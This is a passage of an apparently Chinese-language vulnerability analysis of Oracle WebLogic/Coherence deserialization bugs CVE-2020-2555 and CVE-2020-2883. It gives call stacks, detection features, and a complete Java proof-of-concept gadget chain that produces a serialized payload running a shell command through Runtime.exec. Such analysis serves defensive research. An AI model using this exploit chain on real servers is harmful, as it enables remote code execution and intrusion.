class="code-snippet__selector-pseudo">:666</span>, <span class="code-snippet__selector-tag">MuxableSocketT3</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span><span class="code-snippet__selector-class">.t3</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dispatch</span><span class="code-snippet__selector-pseudo">:397</span>, <span class="code-snippet__selector-tag">BaseAbstractMuxableSocket</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readReadySocketOnce</span><span class="code-snippet__selector-pseudo">:993</span>, <span class="code-snippet__selector-tag">SocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readReadySocket</span><span class="code-snippet__selector-pseudo">:929</span>, <span class="code-snippet__selector-tag">SocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">process</span><span class="code-snippet__selector-pseudo">:599</span>, <span class="code-snippet__selector-tag">NIOSocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">processSockets</span><span class="code-snippet__selector-pseudo">:563</span>, <span class="code-snippet__selector-tag">NIOSocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">run</span><span class="code-snippet__selector-pseudo">:30</span>, <span class="code-snippet__selector-tag">SocketReaderRequest</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">execute</span><span class="code-snippet__selector-pseudo">:43</span>, <span class="code-snippet__selector-tag">SocketReaderRequest</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">execute</span><span class="code-snippet__selector-pseudo">:147</span>, <span class="code-snippet__selector-tag">ExecuteThread</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.kernel</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">run</span><span class="code-snippet__selector-pseudo">:119</span>, <span class="code-snippet__selector-tag">ExecuteThread</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.kernel</span>)</span></code></pre></section><p>前面的T3调用过程没有太大变化，主要还是通过上文提到的BadAttributeValueExpException.toString触发LimitFilter.toString进而触发ReflectionExtractor.extract方法</p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ab8bc4de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMYud4aibCbyVRweIlsAlWw98ibv4v0ZmtC7lgHbuyjcicfCdBEeoeib1jVg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c39b84f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMlws0j7qyv2sibybvXkgUNmBTwMtk4pzv0UEGD4DdylGkeGicoiaQ9rxoQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=0aaf67a3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMMAO3aUuoZrv7bdRRApJZoKMiaSkic10LibHtDgwib5CCagmYYUqaCG3xng%2F640%3Fwx_fmt%3Dpng"/></p><p>流量特征上看也是正常的T3序列化数据，主要特征为<span style="color: rgb(127, 0, 0);background-color: rgb(251, 237, 237);">BadAttributeValueExpException</span>和<span style="color: rgb(127, 0, 0);background-color: rgb(251, 237, 237);">ReflectionExtractor</span></p><p><img class="rich_pages wxw-img" style="width: 660px;height: 532px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b69ca516&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMTic0dk0rUkB2ciakIqbelPaKyMvKOy9ewzVcMqLI1oib5w5c2szpIESEg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" style="width: 658px;height: 531px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e4d1c576&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMKgKSZFAw4TaicoV0rN0YE1fAgia9NCjPn5yDMGNRKT0jotcp3BSLOyNw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 20px;"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;">CVE-2020-2883</span></p><p>影响范围：</p><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle Coherence 10.3.6.0.0</p></li></ul><ul yne-block-type="list" class="list-paddingleft-1"><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle Coherence 12.1.3.0.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle Coherence 12.2.1.3.0</p></li><li style="white-space: pre-wrap;line-height: 1.75;font-size: 14px;text-align: left;list-style-position: inside;word-break: break-word;font-family: &#34;Microsoft YaHei&#34;, STXihei;list-style-type: disc;"><p>Oracle Coherence 12.2.1.4.0</p></li></ul><p>在CVE-2020-2555补丁中主要是针对利用类LimitFilter的toString方法进行修复，此CVE主要是对上述修复的绕过。</p><p><span style="background-color: rgb(255, 255, 255);font-weight: bold;font-size: inherit;">MultiExtractor#compare</span></p><p>MultiExtractor继承自AbstractExtractor</p><p><img class="rich_pages wxw-img" style="width: 2938px;height: 1770px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=770ad1ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMGuvE21mQ9lp5PV4R5IfakOH4JTY7cRaibPgozvE7jPpbZ04MriaGITQQ%2F640%3Fwx_fmt%3Dpng"/></p><p>很明显compare方法中有extract方法的调用：</p><p><img class="rich_pages wxw-img" style="width: 2928px;height: 1774px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=9099243e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMA0GsJOxBoB8orPT5KufibqUcaooiaPicj5n39wDN4AQgTnoCb0luhIZpw%2F640%3Fwx_fmt%3Dpng"/></p><p>与ChainedExtractor不同，这里只是遍历Extractors列表并调用其extract方法而非和ChainedExtractor.extract一样进行链式调用：</p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=e3787d33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMYNMolShgicDLs9aDcw1VePcI0uYI09SlmqmnbzzoAibMQM1EibMmCO27w%2F640%3Fwx_fmt%3Dpng"/></p><p><img style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=872bd553&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMyia3HmtR4YCZHWVDX70Y9wXH7gInthUicq2FbdsiccXa6SATicZ5iaPFmyA%2F640%3Fwx_fmt%3Dpng"/></p><p>所以还得封装一层ChainedExtractor来进行rumtime调用，对于compare方法的触发，使用priorityQueue这条链的触发方法即可：</p><p>参考RoboTerh师傅的<span style="text-decoration: underline;color: rgb(3, 102, 214);">poc</span>：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.ValueExtractor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.extractor.ChainedExtractor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.extractor.MultiExtractor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.tangosol.util.extractor.ReflectionExtractor;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> ysoserial.payloads.util.Reflections;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ByteArrayOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.io.ObjectOutputStream;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.lang.reflect.Field;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.Base64;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> java.util.PriorityQueue;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">class</span> CVE_2020_2883_MultiExtractor {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">static</span> <span class="code-snippet__built_in">void</span> main(<span class="code-snippet__built_in">String</span>[] args) throws Exception {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 创建第一个Extractor Runtime.getMethod(&#34;getRuntime&#34;)</span></span></code><code><span class="code-snippet_outer">        ReflectionExtractor reflectionExtractor1 = <span class="code-snippet__keyword">new</span> ReflectionExtractor(<span class="code-snippet__string">&#34;getMethod&#34;</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{<span class="code-snippet__string">&#34;getRuntime&#34;</span>, <span class="code-snippet__keyword">new</span> Class[<span class="code-snippet__number">0</span>]});</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 第二个Extractor getRuntime.invoke()</span></span></code><code><span class="code-snippet_outer">        ReflectionExtractor reflectionExtractor2 = <span class="code-snippet__keyword">new</span> ReflectionExtractor(<span class="code-snippet__string">&#34;invoke&#34;</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{<span class="code-snippet__literal">null</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[<span class="code-snippet__number">0</span>]});</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// 第三个Extractor invoke(exec, &#34;id&#34;)</span></span></code><code><span class="code-snippet_outer">        ReflectionExtractor reflectionExtractor3  = <span class="code-snippet__keyword">new</span> ReflectionExtractor(<span class="code-snippet__string">&#34;exec&#34;</span>, <span class="code-snippet__keyword">new</span> <span class="code-snippet__built_in">Object</span>[]{<span class="code-snippet__string">&#34;touch /tmp/success111.txt&#34;</span>});</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        ReflectionExtractor reflectionExtractor3  = new ReflectionExtractor(&#34;exec&#34;, new Object[]{new String[]{&#34;calc&#34;}});</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        ChainedExtractor chainedExtractor = <span class="code-snippet__keyword">new</span> ChainedExtractor(<span class="code-snippet__keyword">new</span> ValueExtractor[]{ reflectionExtractor1, reflectionExtractor2, reflectionExtractor3});</span></code><code><span class="code-snippet_outer">        MultiExtractor multiExtractor = <span class="code-snippet__keyword">new</span> MultiExtractor();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Field m_aExtractor = multiExtractor.getClass().getSuperclass().getDeclaredField(<span class="code-snippet__string">&#34;m_aExtractor&#34;</span>);</span></code><code><span class="code-snippet_outer">        m_aExtractor.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">        m_aExtractor.set(multiExtractor, <span class="code-snippet__keyword">new</span> ValueExtractor[]{chainedExtractor});</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        PriorityQueue priorityQueue = <span class="code-snippet__keyword">new</span> PriorityQueue();</span></code><code><span class="code-snippet_outer">        priorityQueue.add(<span class="code-snippet__string">&#34;1&#34;</span>);</span></code><code><span class="code-snippet_outer">        priorityQueue.add(<span class="code-snippet__string">&#34;2&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Field comparator = priorityQueue.getClass().getDeclaredField(<span class="code-snippet__string">&#34;comparator&#34;</span>);</span></code><code><span class="code-snippet_outer">        comparator.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">        comparator.set(priorityQueue, multiExtractor);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">Object</span>[] queueArray = (<span class="code-snippet__built_in">Object</span>[]) Reflections.getFieldValue(priorityQueue, <span class="code-snippet__string">&#34;queue&#34;</span>);</span></code><code><span class="code-snippet_outer">        queueArray[<span class="code-snippet__number">0</span>] = Runtime.class;</span></code><code><span class="code-snippet_outer">        queueArray[<span class="code-snippet__number">1</span>] = <span class="code-snippet__string">&#34;2&#34;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        ByteArrayOutputStream fout = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">        ObjectOutputStream objectOutputStream = <span class="code-snippet__keyword">new</span> ObjectOutputStream(fout);</span></code><code><span class="code-snippet_outer">        objectOutputStream.writeObject(priorityQueue);</span></code><code><span class="code-snippet_outer">        objectOutputStream.close();</span></code><code><span class="code-snippet_outer">        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p>调用栈如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">extract</span><span class="code-snippet__selector-pseudo">:116</span>, <span class="code-snippet__selector-tag">ReflectionExtractor</span> (<span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.tangosol</span><span class="code-snippet__selector-class">.util</span><span class="code-snippet__selector-class">.extractor</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">extract</span><span class="code-snippet__selector-pseudo">:105</span>, <span class="code-snippet__selector-tag">ChainedExtractor</span> (<span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.tangosol</span><span class="code-snippet__selector-class">.util</span><span class="code-snippet__selector-class">.extractor</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">extract</span><span class="code-snippet__selector-pseudo">:96</span>, <span class="code-snippet__selector-tag">MultiExtractor</span> (<span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.tangosol</span><span class="code-snippet__selector-class">.util</span><span class="code-snippet__selector-class">.extractor</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">compare</span><span class="code-snippet__selector-pseudo">:143</span>, <span class="code-snippet__selector-tag">AbstractExtractor</span> (<span class="code-snippet__selector-tag">com</span><span class="code-snippet__selector-class">.tangosol</span><span class="code-snippet__selector-class">.util</span><span class="code-snippet__selector-class">.extractor</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">siftDownUsingComparator</span><span class="code-snippet__selector-pseudo">:721</span>, <span class="code-snippet__selector-tag">PriorityQueue</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.util</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">siftDown</span><span class="code-snippet__selector-pseudo">:687</span>, <span class="code-snippet__selector-tag">PriorityQueue</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.util</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">heapify</span><span class="code-snippet__selector-pseudo">:736</span>, <span class="code-snippet__selector-tag">PriorityQueue</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.util</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:795</span>, <span class="code-snippet__selector-tag">PriorityQueue</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.util</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke0</span><span class="code-snippet__selector-pseudo">:-1</span>, <span class="code-snippet__selector-tag">NativeMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:62</span>, <span class="code-snippet__selector-tag">NativeMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:43</span>, <span class="code-snippet__selector-tag">DelegatingMethodAccessorImpl</span> (<span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invoke</span><span class="code-snippet__selector-pseudo">:498</span>, <span class="code-snippet__selector-tag">Method</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.lang</span><span class="code-snippet__selector-class">.reflect</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">invokeReadObject</span><span class="code-snippet__selector-pseudo">:1058</span>, <span class="code-snippet__selector-tag">ObjectStreamClass</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readSerialData</span><span class="code-snippet__selector-pseudo">:2122</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readOrdinaryObject</span><span class="code-snippet__selector-pseudo">:2013</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject0</span><span class="code-snippet__selector-pseudo">:1535</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:422</span>, <span class="code-snippet__selector-tag">ObjectInputStream</span> (<span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.io</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readObject</span><span class="code-snippet__selector-pseudo">:73</span>, <span class="code-snippet__selector-tag">InboundMsgAbbrev</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">read</span><span class="code-snippet__selector-pseudo">:45</span>, <span class="code-snippet__selector-tag">InboundMsgAbbrev</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readMsgAbbrevs</span><span class="code-snippet__selector-pseudo">:325</span>, <span class="code-snippet__selector-tag">MsgAbbrevJVMConnection</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">init</span><span class="code-snippet__selector-pseudo">:219</span>, <span class="code-snippet__selector-tag">MsgAbbrevInputStream</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dispatch</span><span class="code-snippet__selector-pseudo">:557</span>, <span class="code-snippet__selector-tag">MsgAbbrevJVMConnection</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dispatch</span><span class="code-snippet__selector-pseudo">:666</span>, <span class="code-snippet__selector-tag">MuxableSocketT3</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.rjvm</span><span class="code-snippet__selector-class">.t3</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">dispatch</span><span class="code-snippet__selector-pseudo">:397</span>, <span class="code-snippet__selector-tag">BaseAbstractMuxableSocket</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readReadySocketOnce</span><span class="code-snippet__selector-pseudo">:993</span>, <span class="code-snippet__selector-tag">SocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">readReadySocket</span><span class="code-snippet__selector-pseudo">:929</span>, <span class="code-snippet__selector-tag">SocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">process</span><span class="code-snippet__selector-pseudo">:599</span>, <span class="code-snippet__selector-tag">NIOSocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">processSockets</span><span class="code-snippet__selector-pseudo">:563</span>, <span class="code-snippet__selector-tag">NIOSocketMuxer</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">run</span><span class="code-snippet__selector-pseudo">:30</span>, <span class="code-snippet__selector-tag">SocketReaderRequest</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">execute</span><span class="code-snippet__selector-pseudo">:43</span>, <span class="code-snippet__selector-tag">SocketReaderRequest</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.socket</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">execute</span><span class="code-snippet__selector-pseudo">:147</span>, <span class="code-snippet__selector-tag">ExecuteThread</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.kernel</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">run</span><span class="code-snippet__selector-pseudo">:119</span>, <span class="code-snippet__selector-tag">ExecuteThread</span> (<span class="code-snippet__selector-tag">weblogic</span><span class="code-snippet__selector-class">.kernel</span>)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">PriorityQueue</span><span class="code-snippet__selector-class">.readObject</span> <span class="code-snippet__selector-tag">-</span>&gt; <span class="code-snippet__selector-tag">AbstractExtractor</span><span class="code-snippet__selector-class">.compare</span> <span class="code-snippet__selector-tag">-</span>&gt; <span class="code-snippet__selector-tag">MultiExtractor</span><span class="code-snippet__selector-class">.extract</span> <span class="code-snippet__selector-tag">-</span>&gt; <span class="code-snippet__selector-tag">ChainedExtractor</span><span class="code-snippet__selector-class">.extract</span> <span class="code-snippet__selector-tag">-</span>&gt; <span class="code-snippet__selector-tag">ReflectionExtractor</span><span class="code-snippet__selector-class">.extract</span></span></code></pre></section><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=3f208ae5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMtJeVWicm7KmKOBxNWxCQbmgSo1vVWsUdzBUskAhHT3Yiac2tf04l0vLg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=067a8a56&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMO3LQT0ko4w3aAwTJuibSV9xX2ibaUOC7J06ecXLLQq1eIED6ZBMPBQuQ%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4928190f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMWYicJWPNNMWnP8icD6kbNB0qjUOsiaGBZwASwI4ic601icLDHUmhWAlZCXg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4d4c79c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMpOXctPOoP8o6fohFAicbWMXOx02LGSt8qWLlwTdhz2zDOWE5ggPdibQg%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=29d86cfd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkMQH4WRN85F5x2ocLf7Eqs75HgXsa4gNicFuAAVjsch3oEnGCsjJnWPYA%2F640%3Fwx_fmt%3Dpng"/></p><p><img class="rich_pages wxw-img" style="width: 1708px;height: 1374px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4253c666&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkM1cUEpavF34ibrOiagsAjK3SSaBLyKmgVEAINpoiaUw4XVHeHicIqib9t33Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="background-color: rgb(255, 255, 255);font-weight: bold;font-size: inherit;">ExtractorComparator#compare</span></p><p>查看其compare方法：</p><p><img class="rich_pages wxw-img" style="width: 2952px;height: 1872px;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=883e662d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr703CkHZSOibBtkUzovGSjkM2qPjERqlNL8quibuDLkvqyXuD8WHLsmhv5wBBiaSZhLaXBFribKmYohbA%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">public</span> int compare(T o1, T o2) {</span></code><code><span class="code-snippet_outer">    Comparable a1 = o1 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o1).extract(<span class="code-snippet__keyword">this</span>.m_extractor) : (Comparable)<span class="code-snippet__keyword">this</span>.m_extractor.extract(o1);</span></code><code><span class="code-snippet_outer">    Comparable a2 = o2 instanceof InvocableMap.Entry ? (Comparable)((InvocableMap.Entry)o2).extract(<span class="code-snippet__keyword">this</span>.m_extractor) : (Comparable)<span class="code-snippet__keyword">this</span>.m_extractor.extract(o2);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> (a1 == <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> a2 == <span 